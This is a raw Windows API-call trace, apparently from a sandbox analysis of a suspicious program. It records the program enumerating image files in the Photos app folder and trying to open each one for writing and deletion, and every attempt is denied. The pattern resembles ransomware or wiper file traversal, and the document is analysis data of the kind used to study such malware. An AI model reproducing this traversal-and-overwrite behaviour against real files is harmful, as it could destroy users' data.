	[0091.015] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0091.015] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.015] GetLastError () returned 0x5
	[0091.016] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0091.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.016] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8470b09c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8470b09c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8470b09c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-32.png", cAlternateFileName="")) returned 1
	[0091.016] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-32.png", _String2=".") returned 1
	[0091.016] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-32.png", _String2="..") returned 1
	[0091.016] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.016] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.016] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.016] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-32.png"
	[0091.016] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-32.png")) returned 0x20
	[0091.018] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0091.018] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.018] GetLastError () returned 0x5
	[0091.018] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0091.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.018] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8470b09c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8470b09c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8470b09c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-40.png", cAlternateFileName="")) returned 1
	[0091.018] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-40.png", _String2=".") returned 1
	[0091.018] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-40.png", _String2="..") returned 1
	[0091.018] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.018] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.018] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.018] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-40.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-40.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-40.png"
	[0091.018] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-40.png")) returned 0x20
	[0091.018] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.019] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-40.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.019] GetLastError () returned 0x5
	[0091.019] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.019] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.019] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84748629, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84748629, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84748629, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-48.png", cAlternateFileName="")) returned 1
	[0091.019] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-48.png", _String2=".") returned 1
	[0091.019] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-48.png", _String2="..") returned 1
	[0091.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.019] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.019] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.019] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-48.png"
	[0091.019] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-48.png")) returned 0x20
	[0091.022] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.022] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.022] GetLastError () returned 0x5
	[0091.022] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.022] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.022] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84748629, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84748629, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84748629, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x153, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-64.png", cAlternateFileName="")) returned 1
	[0091.022] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-64.png", _String2=".") returned 1
	[0091.022] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-64.png", _String2="..") returned 1
	[0091.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d85ee8
	[0091.022] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.022] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.022] wcscat (in: _Dest=0x2d85ee8, _Source="PhotosAppList.contrast-white_targetsize-64.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-64.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-64.png"
	[0091.022] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-64.png")) returned 0x20
	[0091.023] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0091.023] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-64.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.023] GetLastError () returned 0x5
	[0091.023] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0091.023] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0091.023] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84748629, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84748629, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84748629, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-80.png", cAlternateFileName="")) returned 1
	[0091.025] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-80.png", _String2=".") returned 1
	[0091.025] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-80.png", _String2="..") returned 1
	[0091.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x4782c38
	[0091.025] wcscpy (in: _Dest=0x4782c38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.025] wcscat (in: _Dest=0x4782c38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.025] wcscat (in: _Dest=0x4782c38, _Source="PhotosAppList.contrast-white_targetsize-80.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-80.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-80.png"
	[0091.025] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-80.png")) returned 0x20
	[0091.030] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0091.030] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-80.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.030] GetLastError () returned 0x5
	[0091.030] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0091.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782c38) returned 1
	[0091.030] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84759f38, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84759f38, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84759f38, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_targetsize-96.png", cAlternateFileName="")) returned 1
	[0091.030] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-96.png", _String2=".") returned 1
	[0091.030] wcscmp (_String1="PhotosAppList.contrast-white_targetsize-96.png", _String2="..") returned 1
	[0091.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x4782c38
	[0091.030] wcscpy (in: _Dest=0x4782c38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.030] wcscat (in: _Dest=0x4782c38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.030] wcscat (in: _Dest=0x4782c38, _Source="PhotosAppList.contrast-white_targetsize-96.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-96.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-96.png"
	[0091.030] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-96.png")) returned 0x20
	[0091.030] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.031] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_targetsize-96.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.031] GetLastError () returned 0x5
	[0091.031] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.031] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782c38) returned 1
	[0091.031] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84759f38, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84759f38, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84759f38, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.scale-200.png", cAlternateFileName="")) returned 1
	[0091.031] wcscmp (_String1="PhotosAppList.scale-200.png", _String2=".") returned 1
	[0091.031] wcscmp (_String1="PhotosAppList.scale-200.png", _String2="..") returned 1
	[0091.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778060
	[0091.031] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.031] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.031] wcscat (in: _Dest=0x4778060, _Source="PhotosAppList.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png"
	[0091.031] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.scale-200.png")) returned 0x20
	[0091.031] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.031] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\assets\\photosapplist.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.031] GetLastError () returned 0x5
	[0091.032] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0091.032] FindNextFileW (in: hFindFile=0x477b128, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84759f38, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84759f38, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84759f38, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.targetsize-16.png", cAlternateFileName="")) returned 1
	[0091.032] wcscmp (_String1="PhotosAppList.targetsize-16.png", _String2=".") returned 1
	[0091.032] wcscmp (_String1="PhotosAppList.targetsize-16.png", _String2="..") returned 1
	[0091.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028008
	[0091.032] wcscpy (in: _Dest=0x5028008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\Assets"
